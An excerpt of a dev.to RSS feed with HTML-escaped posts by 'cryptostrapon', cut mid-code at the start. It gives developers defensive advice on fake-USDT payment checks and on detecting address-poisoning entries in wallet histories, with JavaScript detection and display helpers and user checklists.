    &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;reason&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"no matching USDT transfer to your address"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The contract filter is the whole defence. A fake token can copy the name, the symbol, the logo and even the first and last characters of Tether's address. It cannot emit a &lt;code&gt;Transfer&lt;/code&gt; event &lt;em&gt;from&lt;/em&gt; Tether's contract.&lt;/p&gt;

&lt;p&gt;Two details that bite people in production:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Sum the logs.&lt;/strong&gt; One transaction can contain several transfers. Adding them up handles split payments and stops a tiny real transfer from "confirming" a large order.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Wait for confirmations.&lt;/strong&gt; A transaction that is mined but later reorganised away was never a payment. Pick a number that fits the order value.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Red flags to put in front of your staff
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;A licence, activation, "energy" or unlock fee to receive a balance.&lt;/li&gt;
&lt;li&gt;A screenshot or video instead of a transaction hash.&lt;/li&gt;
&lt;li&gt;An explorer link on a domain that only looks like etherscan or tronscan.&lt;/li&gt;
&lt;li&gt;A token you have to "add manually" by pasting an address the payer sent you.&lt;/li&gt;
&lt;li&gt;Any request to connect a wallet or sign something to &lt;em&gt;receive&lt;/em&gt; a payment. Receiving never needs a signature.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Our full write-up of how flash USDT sellers run the licence ladder: &lt;a href="https://cryptostrapon.com/stories/flash-usdt-software-sellers-scam" rel="noopener noreferrer"&gt;Flash USDT software sellers: the licence is the trap&lt;/a&gt;.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Question for you:&lt;/strong&gt; if your product accepts stablecoins, do you check the token contract in the transfer log, or do you rely on a payment provider to do it for you?&lt;/p&gt;

&lt;p&gt;If this was useful, a star on &lt;a href="https://github.com/cryptostrapon/crypto-scam-glossary" rel="noopener noreferrer"&gt;crypto-scam-glossary&lt;/a&gt;, our open glossary of scam patterns, helps other developers find it.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Written with AI assistance and fact checked by the CryptoStrapon team.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>web3</category>
      <category>javascript</category>
      <category>webdev</category>
    </item>
    <item>
      <title>After the Binance hack: find poisoned entries in a wallet history before anyone copies from them</title>
      <dc:creator>cryptostrapon</dc:creator>
      <pubDate>Thu, 05 Nov 2026 14:00:00 +0000</pubDate>
      <link>https://dev.to/cryptostrapon/after-the-binance-hack-find-poisoned-entries-in-a-wallet-history-before-anyone-copies-from-them-4284</link>
      <guid>https://dev.to/cryptostrapon/after-the-binance-hack-find-poisoned-entries-in-a-wallet-history-before-anyone-copies-from-them-4284</guid>
      <description>&lt;p&gt;On 29 October Binance reported a security incident and paused deposits and withdrawals. The company says about $6.3 billion was taken from its hot wallets, that it will cover all losses, and that user funds are safe (&lt;a href="https://www.aljazeera.com/economy/2026/10/30/binance-says-2-54bn-in-crypto-funds-frozen-amid-potential-security-issue" rel="noopener noreferrer"&gt;Al Jazeera&lt;/a&gt;, &lt;a href="https://techcrunch.com/2026/10/29/binance-pauses-withdrawals-as-hackers-suspected-of-stealing-billions-in-crypto/" rel="noopener noreferrer"&gt;TechCrunch&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;This post is not about the hack itself. It is about what usually comes next. When withdrawals reopen, a lot of people will do the sensible thing and move funds to wallets they control. Many will send a small test first, then the full amount. That is exactly the traffic address poisoning bots watch.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this moment matters
&lt;/h2&gt;

&lt;p&gt;The biggest known poisoning loss started the same way. In December 2025 a trader withdrew almost 50 million USDT from Binance to a personal wallet, sent a 50 USDT test that arrived, and 26 minutes later sent the rest to a look-alike address that had appeared in their history (&lt;a href="https://www.theblock.co/post/383423/crypto-trader-loses-50-million-in-address-poisoning-attack-offers-1-million-bounty-for-return" rel="noopener noreferrer"&gt;The Block&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;It is not a rare trick. Researchers at Carnegie Mellon's CyLab measured two years of Ethereum and BNB Chain transfers and counted about &lt;strong&gt;270 million poisoning attempts against 17 million victims&lt;/strong&gt;, with at least &lt;strong&gt;$83.8 million&lt;/strong&gt; in confirmed losses. Only about 1 attempt in 10,000 works, and organised groups still earn 10 to 20 times what they spend (&lt;a href="https://cylab.cmu.edu/news/2026/01/07-blockchain-address-poisoning.html" rel="noopener noreferrer"&gt;CyLab&lt;/a&gt;, &lt;a href="https://www.usenix.org/conference/usenixsecurity25/presentation/tsuchiya" rel="noopener noreferrer"&gt;USENIX Security 2025&lt;/a&gt;). A rush of fresh, high value withdrawals is the best day of the year for a numbers game.&lt;/p&gt;

&lt;p&gt;We covered the basic attack and a recipient check &lt;a href="https://dev.to/cryptostrapon/address-poisoning-the-scam-that-never-hacks-you-plus-a-15-line-check-for-your-own-app-7o5"&gt;last week&lt;/a&gt;. This time we look at the other side: the history itself. If you build a wallet, a portfolio tracker or an internal treasury tool, you can find poisoned entries before a user ever copies from them.&lt;/p&gt;

&lt;h2&gt;
  
  
  Find poisoned entries in a history
&lt;/h2&gt;

&lt;p&gt;The attacker needs one thing: an entry in your history from an address that looks like someone you really paid. So the check is:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Collect the addresses you sent real value to. Those are the ones worth imitating.&lt;/li&gt;
&lt;li&gt;Look at every zero value or dust entry.&lt;/li&gt;
&lt;li&gt;Flag it if the other side shares the start and end of a real counterparty but is not the same address.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Flag history entries that imitate an address you really paid.&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;norm&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;/^&lt;/span&gt;&lt;span class="mh"&gt;0x&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;findPoisonedEntries&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;history&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;me&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;edge&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dust&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.01&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;norm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;me&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="c1"&gt;// Addresses you sent real value to are the ones worth imitating.&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;paid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nb"&gt;Set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;history&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;norm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;dust&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;norm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;flagged&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="n"&gt;history&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;other&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;norm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;norm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;paid&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;has&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;other&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;dust&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;real&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="n"&gt;paid&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;other&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;edge&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="n"&gt;real&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;edge&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
          &lt;span class="n"&gt;other&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;edge&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="n"&gt;real&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;edge&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;flagged&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lookalike&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"0x"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;other&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;imitates&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"0x"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;real&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;flagged&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;history&lt;/code&gt; is whatever your indexer or explorer API gives you, mapped to &lt;code&gt;{ hash, from, to, value }&lt;/code&gt;. It checks both directions on purpose: some poisoning transfers come &lt;em&gt;from&lt;/em&gt; the look-alike, others are zero value token transfers that appear to come from you.&lt;/p&gt;

&lt;p&gt;A quick test with example addresses:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;me&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"0x1111111111111111111111111111111111111111"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;real&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"0xd967f8a2c41b9e07d3f5a6c2b18e4d9035bd16f9"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;fake&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"0xd9671c9e03fb7a26d84e0c95f1a3b72e6abd16f9"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nf"&gt;findPoisonedEntries&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"0xa1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;me&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;real&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="c1"&gt;// test send&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"0xa2"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;fake&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;me&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;    &lt;span class="c1"&gt;// poison&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"0xa4"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;me&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;real&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// real payment&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;me&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;// → [{ hash: "0xa2", lookalike: "0xd9671c9e...bd16f9", imitates: "0xd967f8a2...bd16f9" }]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What to do with a flagged entry: hide it from the default history view, or keep it with a clear label ("look-alike of an address you paid") and disable the copy button on it. Either is better than a clean row one click away from the real one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Show the middle, not the ends
&lt;/h2&gt;

&lt;p&gt;The second fix is in the UI. Shortened addresses like &lt;code&gt;0xd967...16f9&lt;/code&gt; show exactly the parts an attacker copies. Before a user signs, show the part they cannot copy cheaply:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;showMiddle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;edge&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;/^&lt;/span&gt;&lt;span class="mh"&gt;0x&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;middle&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;edge&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;edge&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;" "&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sb"&gt;`0x${a.slice(0, edge)} [ ${middle} ] ${a.slice(-edge)}`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nf"&gt;showMiddle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;real&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// 0xd967 [ f8a2 c41b 9e07 d3f5 a6c2 b18e 4d90 35bd ] 16f9&lt;/span&gt;
&lt;span class="nf"&gt;showMiddle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fake&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// 0xd967 [ 1c9e 03fb 7a26 d84e 0c95 f1a3 b72e 6abd ] 16f9&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Grouped in fours, the difference is obvious in a second. Shortened, the two are identical.&lt;/p&gt;

&lt;h2&gt;
  
  
  A checklist for the withdrawal rush
&lt;/h2&gt;

&lt;p&gt;If you run anything that moves funds this week, or you help friends do it:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Take the destination address from the wallet itself (the receive screen), never from transaction history.&lt;/li&gt;
&lt;li&gt;After the test transfer, copy the address again from that same source. Do not reuse the entry that now sits in history.&lt;/li&gt;
&lt;li&gt;Use the exchange withdrawal whitelist or your wallet address book, and add each address once, after checking it in full.&lt;/li&gt;
&lt;li&gt;Treat any surprise zero value or tiny incoming transfer as a warning sign, not as noise.&lt;/li&gt;
&lt;li&gt;Check the full address on a block explorer before signing a large transfer.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Binance has also warned users to expect scams around the incident. Fake "support" and "compensation" messages tend to arrive in the same week as poisoning, so a short rule helps: any refund will come through the exchange's own app and site, never through a DM or a link.&lt;/p&gt;

&lt;p&gt;We keep a plain language guide for non-developers, good for sharing with friends who are moving funds right now: &lt;a href="https://cryptostrapon.com/how-to-prevent-address-poisoning" rel="noopener noreferrer"&gt;how to prevent address poisoning&lt;/a&gt;.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Question for you:&lt;/strong&gt; does your wallet or tool hide zero value transfers today, or show them? And if it shows them, would you rather label look-alikes or hide them completely?&lt;/p&gt;

&lt;p&gt;If this was useful, a star on &lt;a href="https://github.com/cryptostrapon/crypto-scam-glossary" rel="noopener noreferrer"&gt;crypto-scam-glossary&lt;/a&gt;, our open glossary of scam patterns, helps other developers find it.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Written with AI assistance and fact checked by the CryptoStrapon team.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>web3</category>
      <category>javascript</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Address poisoning: the scam that never hacks you (plus a 15 line check for your own app)</title>
      <dc:creator>cryptostrapon</dc:creator>
      <pubDate>Thu, 29 Oct 2026 14:00:00 +0000</pubDate>
      <link>https://dev.to/cryptostrapon/address-poisoning-the-scam-that-never-hacks-you-plus-a-15-line-check-for-your-own-app-7o5</link>
      <guid>https://dev.to/cryptostrapon/address-poisoning-the-scam-that-never-hacks-you-plus-a-15-line-check-for-your-own-app-7o5</guid>
      <description>&lt;p&gt;In December 2025 a trader withdrew almost 50 million USDT from Binance to move it to their own wallet. They did the careful thing first: a 50 USDT test transfer to the right address. It arrived.&lt;/p&gt;

